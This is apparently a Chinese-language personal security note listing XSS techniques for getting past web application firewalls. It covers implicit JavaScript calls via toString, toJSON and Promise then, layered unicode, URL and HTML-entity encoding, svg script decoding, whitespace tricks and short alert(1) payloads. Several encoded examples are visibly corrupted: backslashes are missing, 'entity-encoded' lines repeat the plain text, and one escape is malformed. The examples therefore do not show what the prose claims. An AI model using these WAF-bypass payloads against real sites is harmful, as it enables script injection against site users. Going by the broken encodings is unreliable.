XSS那些tricks
- 2020 年 3 月 31 日
- 筆記
title: XSS那些tricks
0x00 XSS的WAF防護
最近碰到的兩種方式
- 字符串匹配,匹配惡意關鍵字,比較常見。一般手段為正則匹配,繞過可以通過編碼,或者注釋符,或者瀏覽器渲染特性進行繞過。
- 解析js語法。通過截取指定標籤內容,對js進行靜態語法樹解析,對解析出來的語法樹進行遍歷,在語法樹的各個節點進行hook,在節點進行判斷。如函數調用的call expression,若call的字符串為alert,則封禁。
0x01 javascript的隱性調用
在調用某些對象,或者執行某些方法時,會自動隱式的調用某些函數。這裡有個缺憾,自動調用的函數是不帶參數的,並沒有找到可以利用的方法(在空白頁面),不同環境下有其他利用方法?
一、toString和valueOf
obj進行值運算時,如==,+,-等,會自動調用toString,或者valueOf方法。
payload:
toString=alert;this-1
valueOf=alert;this-1
二、JSON對象的toJSON
如果JSON的stringify方法傳入的對象有toJSON方法,那麼該方法執行的對象會轉為toJSON執行後返回的對象。
payload: toJSON=alert;JSON.stringify(this);
三、promise對象的 then
當Promise.resolve方法傳入對象時,如果存在 then 方法會立即執行then方法,相當於把方法放入new Promise中,除了Promise.resolve有這個行為外,Promise.all也有這個行為。
payload:
then=alert;Promise.resolve(this).then()
then=alert;Promise.all([this]).then()
四、thow和onerror
payload: <script>onerror=alert;throw 1</script>
0x02 編碼
先知道哪些標籤會進行解碼,還有組合在一起時的解碼順序,才會知道在繞過時如何進行編碼。
- unicode 編碼,形如u003c。js標籤會自動解碼。
<script>alert(1)</script>
=><script>u0061u006cu0065u0072u0074(1)</script>
(括號及括號內的不可進行unicode16進制編碼)<a href="javascript:u0061u006cu0065u0072u0074('xss')">test</a>
- url解碼
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(3)">a</a>
先unicode編碼再urlencode編碼。<a href="javascript:%5Cu0061%5Cu006c%5Cu0065%5Cu0072%5Cu0074%283%29">a</a>
- html實體編碼
<a href="javascript:alert('xss')">test</a>
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(3)">a</a>
進行編碼=><a href="javascript:%5Cu0061%5Cu006c%5Cu0065%5Cu0072%5Cu0074%283%29">a</a>
- 混合編碼 1. 原代碼 < <a href="javascript:alert('xss')">test</a> 2. 對alert進行JS編碼(unicode編碼) <a href="javascript:u0061u006cu0065u0072u0074('xss')">test</a> 3. 對href標籤中的u0061u006cu0065u0072u0074進行URL編碼 <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34('xss')">test</a> 4. 對href標籤中的javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34('xss')進行HTML編碼: <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34('xss')">test</a>
1. 對javascript:alert(1)進行HTML編碼 <img src=xxx onerror="javascript:alert(1)"> 2. 對alert進行JS編碼 <img src=xxx onerror="javascript:u0061u006cu0065u0072u0074(1)"> 3. 以上兩種方法混用 <img src=xxx onerror="javascript:\u0061\u006c\u0065\u0072\u0074(1)">
- svg的xml屬性
payload: <svg><script>alert('xss')</script>
svg標籤後接的scrpt標籤,會自動進行一次實體解析。
其實可以混合編碼利用:先unicode16進制編碼,再實體編碼。
1. alert(1) 2. u0061u006cu0065u0072u0074(1) 3. \u0061\u006c\u0065\u0072\u0074(1) 4. <svg><script>\u0061\u006c\u0065\u0072\u0074(1)</script>
0x03 空白字符
payload從瀏覽器地址欄到頁面上有一次url解碼,可以理解為經過了一次unscape函數。
alert=function(i){ console.log(i.toString(16)) }; for(i=0;i<257;i++){ try{eval('alert'+String.fromCharCode(i)+'('+i+')')}catch(e){}} 結果:09 0a 0b 0c 0d 20
payload:<script>%0b%0balert%0b%a%0c(1)</script>
利用條件為從地址欄到頁面輸出。可以用來繞過waf。
0x04 一些奇奇怪怪的payload
Lol:Function`alert(1)`
!class extends`${alert(1)}`{}